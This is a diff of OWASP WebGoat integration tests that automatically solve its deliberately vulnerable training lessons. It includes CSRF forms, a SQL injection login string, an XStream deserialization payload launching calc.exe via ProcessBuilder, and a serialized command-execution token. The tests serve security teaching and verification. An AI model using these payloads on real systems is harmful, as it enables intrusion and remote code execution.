if "%MVNW_VERBOSE%" == "true" (
echo Finished downloading %WRAPPER_JAR%
)
)
@REM End of extension
@REM Provide a "standardized" way to retrieve the CLI args that will
@REM work with both Windows and non-Windows executions.
set MAVEN_CMD_LINE_ARGS=%*
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
if ERRORLEVEL 1 goto error
goto end
:error
set ERROR_CODE=1
:end
@endlocal & set ERROR_CODE=%ERROR_CODE%
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
@REM check for post script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
:skipRcPost
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
if "%MAVEN_BATCH_PAUSE%" == "on" pause
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
exit /B %ERROR_CODE%

1138
pom.xml

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,40 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat;
public record ServerUrlConfig(String host, String port, String contextPath) {
public ServerUrlConfig {
contextPath = contextPath.replaceAll("/", "");
}
public String getBaseUrl() {
return "http://%s:%s".formatted(host, port);
}
public String url(String path) {
return "%s/%s".formatted(getFullUrl(), path);
}
private String getFullUrl() {
return "http://%s:%s/%s".formatted(host, port, contextPath);
}
public static ServerUrlConfig webGoat() {
return new ServerUrlConfig(
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
}
public static ServerUrlConfig webWolf() {
return new ServerUrlConfig(
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
}
private static String env(String variableName, String defaultValue) {
return System.getenv().getOrDefault(variableName, "").isEmpty()
? defaultValue
: System.getenv(variableName);
}
}

View File

@@ -0,0 +1,89 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Map;
import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test;
class AccessControlIntegrationTest extends IntegrationTest {
@Test
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
checkResults("MissingFunctionAC");
}
private void assignment3() {
// direct call should fail if user has not been created
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
// create user
var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
// get the users
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
private void assignment2() {
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
}
}

View File

@@ -0,0 +1,287 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment;
public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+ "</form></body></html>";
private static final String trickHTML4 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+ "<input type=\"hidden\" name=\"validateReq\""
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+ "</form>\n"
+ "</body></html>";
private static final String trickHTML7 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+ " method=\"POST\">\n"
+ "<input type=\"hidden\""
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+ " is the best!!' value='\"}' />\n"
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
+ "</form></body></html>";
private static final String trickHTML8 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
+ "</form></body></html>";
private String webwolfFileDir;
@BeforeEach
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
}
@AfterEach
public void shutdown() throws IOException {
// logout();
login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("CSRF");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
// remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
// upload trick html
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
}
private String callTrickHtml(String htmlName) {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
return result;
}
private void checkAssignment3(String goatURL) {
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.post(goatURL)
.then()
.extract()
.path("flag")
.toString();
Map<String, Object> params = new HashMap<>();
params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put(
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract()
.path("lessonCompleted");
assertTrue(result);
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+ " best!!",
"\"}");
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.contentType(ContentType.TEXT)
.body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+ " the best!!=\"}")
.post(goatURL)
.then()
.extract()
.asString();
flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
// first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
// login and get the new cookie
String newCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract()
.cookie("JSESSIONID");
// select the lesson
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
// click on the assignment
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(webGoatUrlConfig.url("csrf/login"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted");
assertThat(result).isTrue();
login();
startLesson("CSRF", false);
Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved)
.containsExactly(true);
}
@Data
private static class Overview {
Assignment assignment;
boolean solved;
}
/** Try to register the new user. Ignore the result. */
private void registerCSRFUser() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc"));
}
}

View File

@@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.springframework.http.HttpStatus;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/logo"))
.then()
.statusCode(200)
.extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/1"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
checkResults("Challenge1");
}
@Test
void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/5"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
checkResults("Challenge5");
}
@Test
void testChallenge7() {
startLesson("Challenge7");
cleanMailbox();
// One should first be able to download git.zip from WebGoat
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/7/.git"))
.then()
.statusCode(200)
.extract()
.asString();
// Should email WebWolf inbox this should give a hint to the link being static
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", getUser() + "@webgoat.org")
.post(webGoatUrlConfig.url("challenge/7"))
.then()
.statusCode(200)
.extract()
.asString();
// Check whether email has been received
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
// Call reset link with admin link
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(
webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
"375afe1104f4a487a73823c50a9292a2")
.then()
.statusCode(HttpStatus.ACCEPTED.value())
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
}
}

View File

@@ -0,0 +1,160 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.fail;
import io.restassured.RestAssured;
import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.interfaces.RSAPrivateKey;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
public class CryptoIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("Cryptography");
checkAssignment2();
checkAssignment3();
// Assignment 4
try {
checkAssignment4();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
fail();
}
try {
checkAssignmentSigning();
} catch (Exception e) {
e.printStackTrace();
fail();
}
checkAssignmentDefaults();
checkResults("Cryptography");
}
private void checkAssignment2() {
String basicEncoding =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/encoding/basic"))
.then()
.extract()
.asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
String answer_user = decodedString.split(":")[0];
String answer_pwd = decodedString.split(":")[1];
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
String answer_1 = "databasepassword";
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/sha256"))
.then()
.extract()
.asString();
String answer_1 = "unknown";
String answer_2 = "unknown";
for (String secret : HashingAssignment.SECRETS) {
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
answer_1 = secret;
}
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
answer_2 = secret;
}
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/signing/getprivate"))
.then()
.extract()
.asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
}
private void checkAssignmentDefaults() {
String text =
new String(
Base64.getDecoder()
.decode(
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
.getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
}
}

View File

@@ -0,0 +1,37 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
public class DeserializationIntegrationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win") > -1) {
params.put(
"token",
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
checkResults("InsecureDeserialization");
}
}

View File

@@ -0,0 +1,224 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import org.springframework.util.StringUtils;
public class GeneralLessonIntegrationTest extends IntegrationTest {
@Test
public void httpBasics() {
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
checkResults("HttpBasics");
}
@Test
public void solveAsOtherUserHttpBasics() {
login("steven");
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("HttpProxies");
}
@Test
public void cia() {
startLesson("CIA");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put(
"question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+ " website.");
params.put(
"question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database.");
params.put(
"question_2_solution",
"Solution 4: By launching a denial of service attack on the servers.");
params.put(
"question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
checkResults("CIA");
}
@Test
public void vulnerableComponents() {
if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
String solution =
"<contact class='dynamic-proxy'>\n"
+ "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+ " <handler class='java.beans.EventHandler'>\n"
+ " <target class='java.lang.ProcessBuilder'>\n"
+ " <command>\n"
+ " <string>calc.exe</string>\n"
+ " </command>\n"
+ " </target>\n"
+ " <action>start</action>\n"
+ " </handler>\n"
+ "</contact>";
startLesson("VulnerableComponents");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("payload", solution);
checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
checkResults("VulnerableComponents");
}
}
@Test
public void insecureLogin() {
startLesson("InsecureLogin");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "CaptainJack");
params.put("password", "BlackPearl");
checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
checkResults("InsecureLogin");
}
@Test
public void securePasswords() {
startLesson("SecurePasswords");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords");
startLesson("AuthBypass");
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("HttpProxies");
}
@Test
public void chrome() {
startLesson("ChromeDevTools");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
checkResults("ChromeDevTools");
}
@Test
public void authByPass() {
startLesson("AuthBypass");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
}
@Test
public void lessonTemplate() {
startLesson("LessonTemplate");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "secr37Value");
params.put("param2", "Main");
checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
checkResults("LessonTemplate");
}
}

View File

@@ -0,0 +1,104 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
public void init() {
startLesson("IDOR");
}
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("assignment 2 - login", this::loginIDOR),
dynamicTest("profile", this::profile));
}
@AfterEach
public void shutdown() {
checkResults("IDOR");
}
private void loginIDOR() {
Map<String, Object> params = new HashMap<>();
params.put("username", "tom");
params.put("password", "cat");
checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
}
private void profile() {
// View profile - assignment 3a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile"))
.then()
.statusCode(200)
.extract()
.path("userId"),
CoreMatchers.is("2342384"));
// Show difference - assignment 3b
Map<String, Object> params = new HashMap<>();
params.put("attributes", "userId,role");
checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
// View profile another way - assignment 4
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
// assignment 5a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
// assignment 5b
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) // part of the lesson
.body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
}

View File

@@ -0,0 +1,256 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured;
import io.restassured.filter.log.LogDetail;
import io.restassured.http.ContentType;
import java.util.Map;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.ServerUrlConfig;
